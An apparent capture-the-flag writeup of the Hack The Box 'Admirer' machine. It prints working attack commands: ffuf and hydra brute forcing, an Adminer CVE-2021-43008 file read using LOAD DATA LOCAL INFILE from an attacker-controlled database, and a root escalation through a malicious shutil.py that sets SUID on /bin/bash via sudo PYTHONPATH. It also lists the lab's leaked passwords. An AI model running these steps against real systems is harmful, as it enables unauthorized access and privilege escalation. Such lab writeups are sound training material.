Post

HTB Admirer CTF Writeup

Easy-rated Linux box. FTP and robots.txt expose backup archives with leaked credentials. Adminer 4.6.2 is exploited via CVE-2021-43008 for arbitrary file reads from the database server. A sudo rule with SETENV enables Python library hijacking via PYTHONPATH to escalate to root.

HTB Admirer CTF Writeup

HTB Admirer CTF

Summary

Admirer is an Easy-difficulty Linux machine featuring web enumeration, Adminer exploitation, and Python library hijacking. Initial enumeration reveals /admin-dir via robots.txt, containing contacts.txt and credentials.txt which leak FTP credentials ftpuser:%n?4Wz}R$tTF7. The FTP server hosts backup files (dump.sql and html.tar.gz) containing multiple database passwords and revealing the existence of /utility-scripts/. Directory enumeration locates adminer.php, a database management interface. By connecting Adminer to an attacker-controlled MySQL server and exploiting CVE-2021-43008 (arbitrary file read), the production index.php file is read, exposing current database credentials waldo:&<h5b~yK3F#{PaPB&dA}{H> for SSH access. Privilege escalation is achieved by exploiting the SETENV sudo permission on /opt/scripts/admin_tasks.sh, which calls /opt/scripts/backup.py. A malicious shutil.py module is created in waldo’s home directory, and by manipulating the PYTHONPATH environment variable, Python library hijacking is performed to set the SUID bit on /bin/bash, granting root access.

Lesson Learned

  • If there’s a directory, bruteforce it. Do not forget to enumerate all directories. Enumerate directories. Use common extensions.

  • Do not trust on searchsploit completely. Google for the software version, and search the softwrare in CVEDetails. I trusted the output from searchsploit fully (mainly because the machine was rated “easy”) and the software ended up being vulnerable but the exploit was not listed in exploitdb.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.93 scan initiated Mon Dec 22 08:02:06 2025 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 1500 10.129.43.67
Nmap scan report for 10.129.43.67
Host is up, received syn-ack (0.18s latency).
Scanned at 2025-12-22 08:02:07 -03 for 61s
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
22/tcp open  ssh     syn-ack OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a71e92163699dcbdd84021a2397e1b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
|   256 c595b6214d46a425557a873e19a8e702 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
|   256 d02dddd05c42f87b315abe57c4a9a756 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open  http    syn-ack Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-title: Admirer
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 22 08:03:08 2025 -- 1 IP address (1 host up) scanned in 61.99 seconds

Web Server Enumeration

The web server contains a bunch of images/arts:

image.webp

It has this contact form at the bottom:

image.webp

I use it, but it doesn’t seem like it’s working. I can see in the web page’s source code this html comment, right next to the code for the contact form:

<!-- Still under development... This does not send anything yet, but it looks nice! -->

So yeah, it’s not working yet. To enumerate the backend, I try accessing “index.html” at http://10.129.43.67/index.html but I get a 404 not found error. If I access “index.php” though http://10.129.43.67/index.php it works.

This tells me the back-end likely runs PHP. I can see from the nmap scan there’s a robots.txt in the web server:

1
2
| http-robots.txt: 1 disallowed entry 
|_/admin-dir

With the following contents (http://10.129.43.67/robots.txt):

1
2
3
4
User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

It discloses a potential username: waldo.

Directory Bruteforce

I use the following ffuf command to bruteforce for files inside /admin-dir:

1
ffuf -u http://10.129.43.67/admin-dir/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 50 -e .html,.htm,.php,.asp,.aspx,.jsp,.shtml,.xhtml,.jhtml,.css,.scss,.sass,.less,.js,.mjs,.json,.jsx,.ts,.tsx,.jpg,.jpeg,.png,.gif,.svg,.webp,.ico,.bmp,.tif,.tiff,.pdf,.txt,.doc,.docx,.xls,.xlsx,.ppt,.pptx,.xml,.mp4,.webm,.avi,.mov,.wmv,.flv,.mkv,.m4v,.mp3,.wav,.ogg,.m4a,.aac,.wma,.flac,.zip,.rar,.tar,.gz,.7z,.bz2,.tgz,.woff,.woff2,.ttf,.otf,.eot,.json,.xml,.csv,.yaml,.yml,.sql,.db,.rss,.atom,.swf,.map,.wasm

Eventually I get a hit:

1
contacts.txt            [Status: 200, Size: 350, Words: 19, Lines: 30, Duration: 189ms]

This file contains a bunch of contacts:

image.webp

More specifically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
##########
# admins #
##########
# Penny
Email: [email protected]


##############
# developers #
##############
# Rajesh
Email: [email protected]

# Amy
Email: [email protected]

# Leonard
Email: [email protected]



#############
# designers #
#############
# Howard
Email: [email protected]

# Bernadette
Email: [email protected]

Since the robots.txt file mentions the word “contacts” specifically and the file name is “contacts.txt”, I can only assume there’s another file in there named “creds.txt” or a variation.

I try “creds.txt” but it doesn’t exist. Then I try “credentials.txt” and it works:

1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
[email protected]
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Merging the contacts.txt file from earlier I create “users.txt” with all the users I know till now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.wise
penny
rajesh
r.nayyar
amy
a.bialik
leonard
l.galecki
howard
h.helberg
bernadette
b.rauch
waldo
w.cooper
ftpuser
admin

I also create “passwords.txt”:

1
2
3
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!

Credential Bruteforcing

I use hydra to bruteforce access using the users.txt and passwords.txt file acquired:

1
hydra -L users.txt -P passwords.txt ftp://10.129.43.67

It eventually returns a valid credential:

image.webp

More specifically:

1
2
Username: ftpuser
Password: %n?4Wz}R$tTF7

I also try the same parameters, but this time for SSH instead of FTP:

1
hydra -L users.txt -P passwords.txt ssh://10.129.43.67

The same user can log in to the SSH server as well:

image.webp

I try connecting to the machine via SSH but my connection is instantly dropped:

image.webp

It seems like the “ftpuser” user has no shell access to the machine. I can connect to the FTP server though (ftp 10.129.43.67):

image.webp

FTP Enumeration

I connect to the FTP server using credentials obtained earlier. The server allows me to download two files:

1
2
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz

I get them both:

1
2
ftp> get dump.sql
ftp> get html.tar.gz

There’s nothing interesting in dump.sql, no user or password, but the public information I can see in the webpage’s home page:

1
2
3
4
5
6
7
8
9
10
11
DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `thumb_path` text NOT NULL,
  `image_path` text NOT NULL,
  `title` text NOT NULL,
  `text` text,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;

I decompress the tar archive:

1
tar -xvzf html.tar.gz

Excluding a few unwanted directories like images/ and assets/ (tree -I assets -I images), this is how the structure looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.
├── dump.sql
├── html.tar
├── index.php
├── robots.txt
├── utility-scripts
│&nbsp;&nbsp; ├── admin_tasks.php
│&nbsp;&nbsp; ├── db_admin.php
│&nbsp;&nbsp; ├── info.php
│&nbsp;&nbsp; └── phptest.php
└── w4ld0s_s3cr3t_d1r
    ├── contacts.txt
    └── credentials.txt

3 directories, 10 files

The db_admin.php file in utility-scripts contains cleartext credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

The source code for index.php also leaks credentials:

1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";

The credentials.txt file from this backup also adds a new entry:

1
2
3
[Bank Account]
waldo.11
Ezy]m27}OREc$

I add all those newly discovered passwords to passwords.txt. This is how the complete file looks like with all the passwords I could find until now:

1
2
3
4
5
6
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!
Ezy]m27}OREc$
Wh3r3_1s_w4ld0?
]F7jLHw:*G>UPrTo}~A"d6b

Initial Access - Adminer File Read Exploit

I enumerate /utility-scripts for directories and end up locating “adminer.php”. I head to http://10.129.43.67/utility-scripts/adminer.php and it asks me to connect to a database

image.webp

I try using previous credentials, but none works. I set up a mariadb instance on my attacking machine using docker:

1
docker run --detach --name some-mariadb -p 3306:3306 --env MARIADB_ROOT_PASSWORD=my-secret-pw mariadb:latest

I fill in the necessary information (root password in this case is my-secret-pw from the command above):

image.webp

Then I use the UI to create a database (http://10.129.43.67/utility-scripts/adminer.php?server=10.10.14.57&amp;username=root&amp;database=) named “pwn” and inside this database I created a table (http://10.129.43.67/utility-scripts/adminer.php?server=10.10.14.57&amp;username=root&amp;db=pwn&amp;create=) named pwntable with only one column, the column can have any name. I set the column as type “text” and save it.

I go to my database, and select the “sql command option”

image.webp

I exploit CVE-2021-43008 to read local system files. I first try “/etc/passwd” but got error: Error in query (2000): open_basedir restriction in effect. Unable to open file. So I tried reading the index.php source code:

1
LOAD DATA local INFILE '/var/www/html/index.php' INTO TABLE pwntable FIELDS TERMINATED BY "\n";

This is interesting because the index.php I got from the backup uses invalid credentials, and we know that the items are displayed in the index page via a database query. The items in the index page, in production, are shown, and this indicates that there has been a password change from the date of the backup we have to the version that’s in production.

If I access the table, I can see the contents of the file:

image.webp

More specifically:

1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

Which is yet another password. I try this combination via SSH and it finally lets me in:

1
2
Username: waldo
Password: &<h5b~yK3F#{PaPB&dA}{H>

I connect via ssh:

1
sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh [email protected]

Extra: Internal Enumeration

I know that “ftpuser” has SSH access to the machine. Despite that it has no shell access, I can still use this SSH login to open a socks proxy:

1
ssh -N -D 1080 [email protected]

I can use proxychains4 to enumerate locally open ports:

1
proxychains4 -q nmap 127.0.0.1 -A -oN scans/nmap.internal -vv

This gives me the following results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.93 scan initiated Mon Dec 22 08:44:52 2025 as: nmap -A -oN scans/nmap.internal 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.20s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a71e92163699dcbdd84021a2397e1b9 (RSA)
|   256 c595b6214d46a425557a873e19a8e702 (ECDSA)
|_  256 d02dddd05c42f87b315abe57c4a9a756 (ED25519)
25/tcp   open  smtp?
| smtp-commands: admirer.htb Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
3306/tcp open  mysql   MySQL 5.5.5-10.1.48-MariaDB-0+deb9u2
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.1.48-MariaDB-0+deb9u2
|   Thread ID: 97
|   Capabilities flags: 63487
|   Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth, FoundRows, Speaks41ProtocolNew, SupportsTransactions, ODBCClient, Speaks41ProtocolOld, InteractiveClient, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, SupportsCompression, LongColumnFlag, IgnoreSigpipes, SupportsLoadDataLocal, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: ]79Y5<n6_[.qp^hlf;2(
|_  Auth Plugin Name: mysql_native_password
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 22 08:52:34 2025 -- 1 IP address (1 host up) scanned in 461.95 seconds

I can see SMTP is open on port 25 and mysql is open on port 3306. I try bruteforcing my way into the mysql server, but it never worked:

1
proxychains4 hydra -L users.txt -P passwords.txt mysql://127.0.0.1

I also tried the same for SMTP but no results either:

1
proxychains4 -q hydra -L users.txt -P passwords.txt smtp://127.0.0.1

Cool thing to keep in mind though, that despite not having shell access per-se via ssh, I can still forward ports.

Vertical Privilege Escalation

I know that waldo can run the following as root:

1
2
3
4
5
6
7
8
9
waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

This is how admin_tasks.sh looks like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}



# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi


# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

I can’t find any type of injection in the script, as user input is very limited. However, one thing that raises suspicion is the usage of this python script:

1
2
3
4
5
6
7
8
9
10
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

Why are they resorting to a python script in a different location, when everything else basically is done using bash? Makes me want to investigate. This is how backup.py looks like:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3                                                                    
                                                                                    
from shutil import make_archive                                                       
                                                                                    
src = '/var/www/html/'                                                                
                                                                                    
# old ftp directory, not used anymore                                                 
#dst = '/srv/ftp/html'                                                                
                                                                                    
dst = '/var/backups/html'                                                             
                                                                                    
make_archive(dst, 'gztar', src)

It’s importing a library, and if you remember from the sudo -l output:

1
(ALL) SETENV: /opt/scripts/admin_tasks.sh

The SETENV allows me to set some environment variables that will be passed on to the command being executed. With that, I can probably hijack the “shutil” library being used by backup.py.

I create “shutil.py” in waldo’s home directory with the following contents:

1
2
3
import os

os.system('chmod +s /bin/bash')

Their home folder looks like this:

1
2
3
4
waldo@admirer:~$ ls -l
total 48
-rw-r--r-- 1 waldo waldo    43 Dec 22 13:50 shutil.py
-rw-r----- 1 root  waldo    33 Dec 22 10:54 user.txt

I run the script, passing my arbitrary PYTHONPATH variable:

1
sudo PYTHONPATH=/home/waldo -u root /opt/scripts/admin_tasks.sh

As you can see from the screenshot below, it says it failed to import “make_archive” which is a good sign since my shutil.py has no make_archive function:

image.webp

If I check permissions for /bin/bash:

1
ls -la /bin/bash

I see it contains the SUID bit set now:

1
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash

Now it’s just a matter of executing /bin/bash privileged to obtain a root shell:

1
/bin/bash -p

From the screenshot below you can see proof of exploitation:

image.webp

Reference

This post is licensed under CC BY 4.0 by the author.